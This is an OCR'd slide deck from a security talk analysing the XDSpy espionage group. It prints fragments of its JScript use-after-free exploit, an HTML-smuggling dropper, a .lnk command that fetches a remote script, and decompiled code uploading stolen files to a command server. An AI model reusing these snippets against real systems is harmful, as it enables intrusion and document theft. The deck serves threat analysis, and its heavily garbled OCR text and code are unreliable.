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XDSpy:
3 reasons why it is interesting.
The 3rd one will surprise you!



Interesting, really?

1. APT left undocumented from 2011 to
February 2020



KamnaHusa no paccbinke BpegoHocHoro MO (06HoBNEHO)

Oony6anmkosaHo 21.02.2020

https://cert.by/?p=1458



CERT.BY IOCs

NHAWKATOPbI KOMIMPOMETALWNA

= wildboarcontest[.Jcom

s theslideshare[.]Jcom

m  filedownload[.]email

= downloadsprimary[.Jcom

= Hanuywe knwoda «MediaCodec» 6 BeTke peecTpa HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion'Run

= Hanuuue daina «Client Runtime Manager.exe» unu «Usermode COM Manager.exe» B nanke %temp% (Hanpumep, C:\Users\user\AppData
\Local\Temp)



BY Targets
PACMPOCTPAHEHWE

PaccmaTtprBaeMan KamnaHWa Noy4una WpoKoe pacnpocTpaHeHue cpeay nonb3oBaTeneil HauMoHanbHoro cermenTa ceTh MHTepHeT. Mbl
ofHapYHWIW MHOKECTBO HEPTB B Pa3HbIX OpraHM3alax. ANpecaTaMu PACCHINKW CTanW COTPYAHUKM MOCYAapCTBEHHbIX OPraHOB W OpraHW3allvi,
HpUOMYECKe W DH3MYECKME NMUa B KonudyecTee Bonee 100,

PacchbinKa ocyWecTENANACE B CNEQYOLME rocydapCTEEHHLIE OPTaHbl:

CogeT PecnyBanKu;

Council of the Republic;
Council of Ministers;
®»  MUHWUCTEPCTBO IKOHOMMKN; Ministry of Economics;

= CogeT MUHWCTPOB;

Ministry of Finance;

Ministry of Industry;

Ministry of Information;

= MUHHCTEPCTBO MHdOpMaLM; State Committee for Standardization;

= MuHucTepcTBo HMHAHCOB;

L] MMHHCT&pCTBO MPOMEBILLNEHHOCTI;

= [oCy[apCTBEHHBIA KOMWTET N0 CTAaHOAPTU3ALMM;

®  PAj CUNOBLIX CTPYKTYP, 3 TAKHE B agpec MU3MYECKHX M HPUANYECKHX UL,



Interesting, really?

1. Left undocumented from 2011 to February
2020

2. The targeting is unusual
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Interesting, really?

. Left undocumented from 2011 to February
2020

. The targeting is unsual

. Some malware development choices attracted
our curiosity



Surprise: Unusual malware development choices

aClsersEcmilDoc_@:

text "UTF-16LE",
text "UTF-16LE",
text "UTF-16LE",

db @
db e
db e
db e
db 2
db 2

; const WCHAR aCUsersEcmilbpp 13

aClUsersEcmilApp 13:

text "UTF-16LE",
text "UTF-16LE",
align &
al9955872 db "19955872',68
align 18h
aClUsersEcmilDoc_12:

text "UTF-16LE",
text "UTF-16LE",
text "UTF-16LE",

; DATA XREF: wversionValidation+FA7To
; versionValidation+1887To
"c:\usersieemill\documentsiJokymenTe MK edewdwnid’\Mnaum’

"poeanve v goknagu\Mnan 2828\Cornacoeanma ot OBY wm 0O
'‘I\cd 12651.pdf’,0

; DATA XREF: versionValidation+181ATo

; versionValidation+183ETo
"C:\UsershecmilZAppDatalRoaming Temp .NETYfiles199558"
'72.zip',0

; DATA XREF: versionValidation+1857To

; DATA XREF: versionValidation+18CETo
; versionValidation+112ETo
"c:\usershecmilidocumentsiJokymenTe MK edewdwnid’\Mnaum’

"poeanve v goknagu\Mnan 2828%\Cornacoeanma ot OBY wm 0O
"M\eeol2651.pdf’',8
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DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY
Basic Properties (1)
MD5 432af428b011a488d0f2fe2efe195bd4
SHA-1 bb7a10f816d6fffech297d0bae3bc2cof2f2ffce
SHA-256 1529a6791da28a19f306d008b5dd13aa0341c7586b0b8b056db7f9e3c79b31¢1
Vhash 064046655d155058z4fthz13za1z41287z2
Authentihash  cb0dfc3b511791ad6f2f24ae3893e89516eafccci5eb4b5299cd8hb9150719599
I d Imphash 1cd4deb5ch43c321769af377449883520
O e St SSDEEP 768:YFittopzEagUp4ftowiBZCkLLtyhPgtkT6 DyuPxDviupkiNBmDG/0J9cUrfX5G04:gpQx4fuBbnLYPgSmDvPx4kCEK6E55k
- - File type Win32 EXE
mission
su b SSIo Magic PE32 executable for MS Windows (GUI) Intel 80386 32-bit
on \Val File size 62.50 KB (64000 bytes)
I ne 2020

History
Creation Time 2011-07-20 07:45:28
First Seen In The Wild  2010-11-20 23:29:33
First Submission 2011-08-25 14:39:35

AUgUSt 2011 Last Submission 2018-10-25 21:49:51
Last Analysis 2020-03-31 06:39:05
Names ()

432af428b011a488d0f2i62efe195bd4.vir

Portable Executable Info

Debug Artifacts

Path c:\283'\main.pdb
GUID  9f0af7de-Oede-42e5-a988-4a08e5c17b72
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Attribution

*The developers and operators didn't leave
attribution clues

*Targeting + goal => likely a state-sponsored
group



Compromise Vector






Malware archeology

FILE MESSAGE

~ o, ~ o~ r“, H Find
[ 3o - F Create New ¥ m 4 | | g in Q
x Le] FLG] Le [FE Meeting S oneMote [ ¥ i a& B Reated -
Delete  Reply Reply Forward —|  Mlove D-hActions' Mark Categorize Follow  Translate Zoom
Al x - Unread Up~ < b Select~
Delete Respond Quick Steps [F M e Tags [F Editing Zoom

Tue §/25/2015 1.2 Abd

FYBA r. MOCKBbI <guvdmo.moskva@ mail.ru>

CoTpyaHMKKN (knaga Haxoaok NYBJ, obHapy KuAK Baw emain agpec

To aminswyaz.r

Message i: CKaHelLZip [T52 KE]

HoEBoTHM No BAler o CEENEHHA, 4T0 B CTON Haxonok npi [ VE I DocTyIHIa Danka-CEop OCIIHEATENE ¢ JOKY MeHTaMH B boTorpad mams. BuyTpu nanki GLIN Toxe BYMAKHEE B KOTOPOM
COTRPYRHEKH CKNala HaxoRoK obHapy RHIH Ball eMafin agpec. C UENHIC ONO3HAHNA B IPHIOKEHHH OTIPABIACM CKAHE HEKOTOPHE HafleHHHE doTorpabuu. B cnydae ecnu ysHadTe
NoTERAHHELE BEL[H PEKOMEHYETCA NOCTYIHTE CIERYIOM{EM obpazoM HYEHo cEasatecA ¢ L VB ][, nogaTe sadEncHHe (B 3aABIEHHH HYXHO CAMEM DogpobHEM obpasoM oIHCATE NIOTEpAHHEE
EelH — ocobioe EHEMAaHHE HY XHO ¥EENHTE oCobbM IpHMeTan: dopMe, pasMepan, BeCy, UBETY), B AKTE YKa3aTh CEOH KOHTaKTHEH.

Ilo uHCTpyKUHH Bre 3abHITHE BEIH XPAaHATCA B TEYEHHE TPEX MECALEE CO QHA HOCTYIUIEHHA B CTol Haxomok npu [ B I, sarem nepegatotca & occh oHn. Ja xakmbe CYTEH XpaHeHHA
NOTERAHOr D LoKYMEeHTa (HIH BEIH) B KaMepe 3abLTHY Belefl ¢ ero Bnagenta espckueaetca 10 pybnei.

Tateana ConoMaTHHA
CoTpyOHEE cKIafa HaZof oK

T'VBJ r. MOCKBEL
Bropo HaxomoK JOKY MEHTOB
vi. Mamcosckoro, 31
+7(495) 200-9957
WWW.guvdino



Decoy PowerPoint presentation

CHCTEMA CEPTHOHKALDHH B OBAACTH TIOXAPHOJ BESOMACHOCTH
CEPTHOUKAT TIOKAPHOM BE3OACHOCTH

CCIB. RU, O11034, H. 00323

JaperncTpiposan n FocyspeTaeHHON peccTpe
CHETewss CepIIINN & 06AaCTH noEIPHOR

) Geronacuocri PO 02,06.2009 1. Jehermureaen a0 02062012 v,
[ | S 5 o PR
% Cocras tenaonsoasunonnsiii «<RE-THERM» a{\\&a
! g TV 2316-112-00209600-2009 231630 <
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=48 e R P
{ by
a0 ¥ bod
o HIIB 244-97:  rpynna ropiovectn - Tl (caaGoropioume no CHull 21-01-97%) upn
na 1o FOCT 30244-94, rpynns socnaamensiemoctn —
Bl no TOCT 30402- 96 (rpymosocnaavensesisie no CHull 21-01-97%), kosdduunent
Avivoobpazosanns — A1 (¢ wagaoii ,umooﬁwmoruﬂ enocobuocree) no  FOCT
12.1.044-89 (n.4.18), o FOCT 12.1.044-89
- (n.4.20)
omavereas 107
> [PK A0BPOBOIKHON CepTdHKALIM
% Ceprudmrar pnxnponpuu-em cepuituniil Bunyex
iy,
0 Cepruduxar n-unu 3A0 «Apean
e
P~ Aapec: ya. Baxurons, 1. 6, r. Kasaus, 420034
Teacon/paxc: (843) 227-07-12 OKI10 54402746
PR Ve, mearo, T
( HMuoomrenn 000 «HEHOBANHORHBIC TEXHOIOIHID
BT e ey
1 Aapec: ya. Bnnrm.:l. 6, 1. Kazan, 420034
& (843 OKI10 00209600
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2019 — Early 2020

Reply “) Reply All |~ || ~* Forward | More v
1+ € Reply ply

doTOMaTEPHANLI NO UTOram padoTel 11.02.20, 11:01

JNobBpbld AeHb!

Hanpaenaiw Bam Konuiw nucema v poToMaTepuansl No uToram pabotel. HaxmuTe Ha
cchINKy, YTobel ckayaTe: dhoTomaTepuans 11.02.2020.zip
Hoém oTeeTa A0 KoHua pabodero aHAa.




function cv(bx) {
var bs = window.atob(bx);
var len = bs.length;
var bytes = new Uint8Array(len);
i (var 1 = 0; i < len; i++) {
bytes[i] = bs.charCodeAt(i) ~ 43;
}
eturn bytes.buffer;
i
var file = 'e2AoLz8rKysjKONebXsHz9t81iyorK200Kys6KysrTURTRHQaGhsZGRsZGwVHRUC+e2BgKUo/Fmlg+moO
var data = cv(file);
var blob = new Blob([data]l, { type: 'octet/stream' });
var fn = 'foto 11022020.zip';
T (window.navigator.msSaveOrOpenBlob) {
window.navigator.msSaveBlob(blob, fn);
} else {
var a = document.createElement('a');
document .body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fn;
a.click();
window.URL.revokeObjectURL(url);



Ink

Marne Date rodified Type Size
T fota_11022020 2002020 5:43 ARA shortcut
foto_11022020.zip 2132020 3:30 P Compressed (Zipp...

*No timestamp
* Account SID:

S-1-5-21-1687353570-41962310-3587325082-1001
* Arguments:

Javascript:document.write () ;GetObject ("script:
https://filedownload[.]email/filedownload/
download2.php?£f=9840975039475")

1B
1KE



Final compromise step

*We were not able to recover the script
downloaded by the .Ink

*Shortly after the .Ink execution, XDDown (main
component) is dropped on disk



February 2020: Unexpected disinformation campaign




February 2020: Unexpected disinformation campaign

*This email states that the first cases of COVID-19
were discovered in Belarus

|t was sent before the official first cases in BY

*The copy of the spearphishing email was shared
on many social networks



End of Feb. 2020 to June 2020




June 2020: The come-back

*Spearphising campaign started on 29/06

*Similar TTPs
* Spearphising campaign
* ZIP files as attachments
* Malicious RTF file



Home | Inset  Pagelayout  References  Mailings  Review  View

ColibriBody) ~ 11 ~ A A" | Aav &) b | aasbeene | asBbeede AaBbCe Aasbce AQ B 2csbcc

v TNormal | T No Spadi... Headingl Heading 2 Title Subtitie Subtle Em...

Paste Bl Z U - abe x, x* . A-

J Format Painter

Clipboard ]

Paragraph ]

T yh « HWKe

ECAM Bbl HE MOXETE U3MEHUTD ErO0, << O >




RTF

*OLE link object

*|t downloads the next stage from
https://minisnowhair[.]com/minisnw?2/downl
ocoad2.php?f=htm-2-adsl19ul09uell &u=<uuid>



<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8" />

<script language="Jscript.Encode">

var falUaF = function () {

var b = 2;

var T = 2;

var e = 4;

var U = 4;

var aq = 16;

var w = 192;

var G = 8;

var av = 16;

var au = 56;

var j = 72;

var ¢ = null;

var 0 = new Array();
var h = new Array();
var Y = new Array();
var X = new Array();
var L = new Array();



function H() {

(o B) {

K("");

L null;

CollectGarbage();

K("");
(var a = 0; a < 1; a++) {
VIa] = q[a].item();

qlal null;
qlal;
ylal null;
ylal;
}
ah();
(var a = 0; a < 1; a++) {
VIal null;
Y

tollectGarbage();
(var a = 0; a < f; a++) {
Elal[n] 1337;

}
(var a = 0; a < 1; a++) {
{
z[a];
} (1) {
{

ar[a] i.source;

1 (i) {



function aj() {

var p = i(d);

var q = P(p);

var o = ag(q, 'KERNEL32.d1l');

var L = P(0);

var r = F(1, 'VirtualProtect');

var t = F(l, 'GetModuleHandleA');

var s = F(l1, 'GetProcAddress');

var g = a(d, i(d));

var k = (g.charCodeAt(4) << 16 | g.charCodeAt(3)) - 68;

var n = (g.charCodeAt(7) & 255) << 24 g.charCodeAt(6) <<

var ¢ = k - 8192;

var m = k;

var h = d + w;

for (var f = 0; f < A.length; f++) {
a(h + f * T, A.charCodeAt(f));

}

var j = h + 5;

a(j, t);

alj +1* e, s);

a(jir 28t er NN )

a(j +3 *e, m;

8 | g.charCodeAt(5) >> 8 & 255;



24, h);

4 + 24, h);

4 + 4 + 24, A.length * b);
4 + 4 + 4 + 24, 64);

4 + 4 + 4 + 4+ 24, c);

e S S

}

function ai() {
ak();
W();
H();
ab();
aa();
()
ac();
al();
aj();
}
falaF.prototype.exploit ai;
Jpe
var fuaf falUaF () ;
fuaf.exploit();



It looks familiar...



Jscript UAF vulnerabilities

*|n the past 2 years, 4 similar use-after-free
vulnerabilities were discovered in the |E
JavaScript engine

* Most of them were apparently used by
DarkHotel. Ex:
https://blogs.jpcert.or.jp/en/2020/04/ie-firefox-
Oday.html



https://blogs.jpcert.or.jp/en/2020/04/ie-firefox-0day.html

Jscript UAF vulnerabilities

*@ _clem1 made an excellent presentation at

SSTIC about these vulns:
https://www.sstic.org/media/SSTIC2020/SSTIC-
actes/cloture 2020/SSTIC2020-Slides-

cloture 2020-lecigne.pdf

*The 3 next slides are taken from his presentation


https://www.sstic.org/media/SSTIC2020/SSTIC-actes/cloture_2020/SSTIC2020-Slides-cloture_2020-lecigne.pdf

function getFreeRef() {
if (count == limit) {
for (var i = @; j < 200 * 100; i++) { objs[i] = null; }
CollectGarbage()
For (var 1 = ©; 1 < 2 * 10@; i++) { refs[i].prototype = null; }
CollectGarbage()
=9; 1 < 0x1eed; i++) { propHolders[i][reallocPropertyName] = 1; }

} else {
dummyObj instanceof refs[count++];

}

try { nrefs[count--] =Jthis;}} catch (e) {}
CVE-2018-8653
for (var i = @; <2+ 108, juir

var e = new |[Enumerator(arr);
e.moveFirst();
refs[i] = e.item();

e

32k bytes, ~500 lines of code >

CollectGarbage();

Use-After-Free vulnerability in CB stz

refs[i].prototype = erefs[i];

Need to trigger GC refs[i)].prototype.isPrototypeOf = getFreeRef;

NO more heapspray dummyObj instanceof refs[count];
ROP

Use Enumerator()




CVE-2019-1367

32k bytes, ~500 lines of code

Use-After-Free vulnerability in CB

Need to trigger GC
No more heapspray
ROP

Use Enumerator()

function F
v.pushjarguments)

y += 2;

oy B A
CollectGarbage(
for—var—c——t

for (var ¢ = 9; ¢ <
throw u[c];

} catch (d) {
ric] = d;

for (var c = A; c <

for (vul T= o §¢ <
CollectGarbage()
for—{varot—=9—1¢ <
CollectGarbage()

for—{vart=—=0;"t <

100 * 100; c++) q[c] = new Object();
Z; c++) try {

B; c++) v[((c - A) / 2) | @][(c - A) % 2] = r[c];
100 * 100; c++) q[c] = null;

z; c++) r[c] = null;

0x1000; c++) x[c][E] = 1;

£ = A; B; c++) s[c] = v[((c - A) / 2) | @][(c - A) % 2];
} elsq wly / 2].sort(F)1

return—o;
}
for (var D = @8; D < z; D++)
for (var D = ©; D < z; D++)

t[D] = new RegExp(n);
{

var G = {1
var H = |[new Enumerator(G);
H.moveFirst{);

H.moveNext();
u[D] = H.item();
H.moveNext();

H = null;

delete H;

G[1] = null;
delete G[1];
t[D] = null;
delete t[D];

w[a].sort(F)ﬂ




function FreeingComparator(a, b) {
refsCount++;
if (refsCount >= refsLimit) {

for (var 1 = 9; i < 100 * 109; i++) objs[i) new Object();

']

for—{var—T—=90;—1< 100 * 109; i++) objs[i] null;
CollectGarbage();
for L{yar i =2: il¢ refsLimit; i++) {

eerefs[i] = null;

if (1 ¥ mod_p == @) {m[1i] = null;}
}
m = null;
eerefs = null;
CollectGarbage();
—for—t{var 1 =971 ¢ 0x1000; i++) propHolders[i][reallocPropertyName] = 1;

}
else {
-— == a = eerefs[refsCount];
W(ount] .sort(FreeingComparator);

s pustiay
}

return ©;

}
32k bytes, ~500 Iines Of COde :g: 2::53% ir%: ‘i : ::::ti:ii;: i::; grrefs[i] = new RegExp(reSrc);}
Use-After-Free vulnerability in CB S

if (i ¥ mod_p == 8) { m[i] = new Array(); }

Need to trigger GC T

arr = null;

delete arr;

No more heapspray i Y

delete rrefs[i];
1

@ aumykrrsw] .sort(FreeingComparator);
Use Enumerator()




Back to XDSpy

*CVE-2020-0674 was patched in Feb 2020

*XDSpy's exploit work with a machine with Feb
2020 updates



CollectGarbage();
(var a = 0; a < f; a++) {
Elal[n] 1337;

}
(var a = 0; a < 1; a++) {
{
z[a];
} (1) |
{
ar[a] i.source;
} (3) {
}
}
}
{
var b null;
var e = Y[o];
var d = X[o];
b e d;
h[--0] b;
('N) {
( o 'string') {
var c b.substr(0, 1);
(c !='[' & c != 'u'
(b.match(ad)) {
\' true;
g 0;



XDSpy 1-day exploit

*This is CVE-2020-0968. It was patched in April
2020 -> 1-day exploit

*No public POC is available

*XDSpy's exploit looks similar to the previous
exploits



XDSpy 1-day exploit

*We don't believe XDSpy is linked to Dark Hotel

*|t is possible XDSpy bought the exploit from the
same developper

*Or they developped their own variant from in-
the-wild samples



Malware Components



Spearphishing
email

l

The user clicks
on the attachment
or the malicious link

l

@ _

Malicious
Ink file

_Em]

XDDown (exe)

Downloads
from the C&C server

Downloads
and loads plugins

O 0 0 ©

XDRecon
Gathers basic information

XDList
Crawls the C: drive

XDMonitor
Monitors external devices

XDUpload
Exflitrates local files

XDLoc
Gathers nearby
Wi-Fi access points

XDPass
Gather browser passwords



XDDown: The main component

* Persistence using the Run key
* C&C and paths are hardcoded

*Strings are obfuscated with a Caesar Cipher (the
key is random and different for each string)



XDDown: Capabilities

* Downloads, writes and load DLLs



XDDown: Capabilities

* Downloads, writes and load DLLs

*Network communication encrypted with a static
XOR key
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XDDown: Capabilities

* Downloads, writes and load DLLs

*Network communication encrypted with a static
XOR key

*No backdoor capability -> a new DLL is compiled
and delivered for each specific action



XDDown: Capabilities

and delivered for each speC|f|c action



XDList + XDMonitor

* Crawls local drives + monitor removable drives

* Extensions: .accdb, .doc, .docm, .docx,
.mdb, .xls, .xlm, .xlsx, .xlsm, .odt,
.ost, .ppt, .pptm, .ppsm, .pptx, .sldm,
.pst, .msg, .pdf, .eml, .wab



XDUpload

i = f_ReadStateFile();
if (i< 134 )e

{
memset(v160, ©, sizeof(v160));
vli56 = 100 * (i + 1); Number of files
do to upload
{
if ( !continue_monitoring )
break;

LOBYTE(v158) = ©;
f_UploadFileLoop(
ei64,
_'File_list, €E&——x*file 1 = *L"c:\\users\\admin\\appdata\\local\\micr‘osoft\\outlook\\_‘ost\r\n";
u IV
i)
v158,
L"officeupdtcentr.com”,
L"2officeupdate/lup. php?name=_benjo_374db964_c",
"1234123412341234",
160 S
0);
lib_wsprintf(URI);
f_SendPOSTRequest(©, L"officeupdtcentr.com"™, URI, byte_180030760, v160, 10000);
aF i€ 1 < 132 )
f_WriteStateFile();
if ( !continue_monitoring )
break;



Other components

*XDRecon: Gather basic machine information
e XDPass: Password stealer

*XDLoc: Gather nearby SSID (probably for
geolocation)
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Conclusion

* Previously unknown APT group active for 9 years

* Their malware architecture is unusual

* They used a non-public 1-day exploit

* Their main goal is to steal documents

 Thanks to Antti Tikkanen (from Google’s Threat
Analysis Group) for the initial hint |



Questions?



